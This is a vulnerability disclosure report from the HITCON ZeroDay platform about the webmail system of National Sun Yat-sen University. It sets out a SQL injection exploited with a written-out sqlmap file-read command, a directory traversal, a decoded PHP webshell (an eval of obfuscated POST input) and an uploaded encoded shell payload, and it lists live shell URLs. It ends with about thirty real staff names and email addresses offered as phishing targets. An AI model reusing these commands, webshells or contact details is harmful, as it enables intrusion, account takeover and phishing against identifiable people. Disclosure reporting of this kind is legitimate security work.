Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00629
- Vendor: 國立中山大學
- Title: 中山大學SQL註入、目錄遍歷,查看源碼利用已有shell可獲取大量教師、職工郵箱和密碼
- Introduction: SQL註入、目錄遍歷
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2020/07/15 01:00:13 : 新提交 (由 onononon 更新此狀態)
- 2020/07/15 01:11:36 : 新提交 (由 onononon 更新此狀態)
- 2020/07/15 23:03:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/16 11:02:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/16 11:02:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/14 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2020/09/14 13:11:26 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00629
- 通報者:onononon (onononon)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
目錄遍歷:https://email.nsysu.edu.tw/tmp/
信息泄露:https://email.nsysu.edu.tw/tmp/1050709.txt
前輩留的shell:https://email.nsysu.edu.tw/student/toIncludeTest.inc.php
測試上傳的shell:https://email.nsysu.edu.tw/student/bz2_call.php
敘述
1、https://email.nsysu.edu.tw/webmail/news.php?index=84,有sql註入,但是無法寫文件,可以讀文件。猜到apache的配置文件地址後下載下來發現網站絕對路徑,運行--os-shell命令,還是無法寫shell。無果。
猜到的apache配置文件地址:/etc/httpd/conf/httpd.conf
直接下載:python sqlmap.py -u https://email.nsysu.edu.tw/webmail/news.php?index=83 --file-read=/etc/httpd/conf/httpd.conf
網站絕對路徑:/var/www/html/public_html
2、 用dirsearch搜出來壹個tmp目錄,在tmp下有幾個txt文件,和php文件。在1050709_1.txt文件裏面找到壹個sso系統的賬號。
3、在sql註入折騰半天無果之後,就想看下源碼。在tmp目錄的第壹個txt文件裏面,寫了壹些php文件。我照著文件名壹個壹個用sqlmap去讀源碼。讀到第二個php文件的源碼發現最後壹行有個加密過的壹句話木馬
4、然後寫php腳本解密他的算法,折騰了半天傳了壹個我的壹句話木馬,木馬不要用eval的,用assert不然菜刀、蟻劍都連不上
解密解法:
<?php
$post = $_POST['c'];
$get = $_GET['c'];
echo strrev(str_rot13(base64_encode($get)));
@eval(base64_decode(str_rot13(strrev($post))));
利用服務器已存在的加密shell寫入自己的壹句話木馬key為cmd,value為:=fGXa4mC7xFKaj1Laj1JHA1GD9SWfDapyA3puulLhIaMsWKMmI3KfkJLwORV7xPXiMzocOUnjOPpbO3C8pPVfLTWbHTqcW3qzgGXvpaVtjvVjuTphRGZkbaLvtvoyO3ozOFCtLTW
5、連接成功
測試上傳的shell地址:https://email.nsysu.edu.tw/student/bz2_call.php
6、翻了翻的數據庫,發現裏面有很多可用的校用郵箱
7、試了試大多數都可以登錄校內郵箱
8、发现的郵箱通訊錄,可進壹步實行釣魚攻擊
[email protected] 22電機系-陳遵立老師
[email protected] 06促產中心-金春熙
[email protected] [email protected]
[email protected] 01周明奇組長
[email protected] 洪儀真
[email protected] 22通識中心-唐文慧老師
[email protected] 22環工所-樓基中老師
[email protected] 30光動-蘇祈烈經理
[email protected] 05中心-湯于台
[email protected] 09光電系-蘇春燕
[email protected] 09吳育治(潘老師學生)
[email protected] fenglin
[email protected] '林純守'
[email protected] 09人事室-吳美琪
[email protected] 22機電系-楊冠雄老師
[email protected] 10工研院-楊組長
[email protected] 朱俊承
[email protected] 22電機系-高家雄老師
[email protected] 陳威宇
[email protected] 22海下所-劉金源老師
[email protected] 22機電系-吳學鑑老師
[email protected] '陳良弼'
[email protected] '葉期財'
[email protected] 康庭維(Ting-Wei Kang)
[email protected] 04學研處-花湘琪
[email protected] 06高軟-曾麗芳
[email protected] Samuel C. Y. Ku
[email protected] 19管理學院-蔡秘書
[email protected] 09教務處-蔡璦琪秘書
[email protected] 09高教詢問專區
[email protected] 吳文惠-mail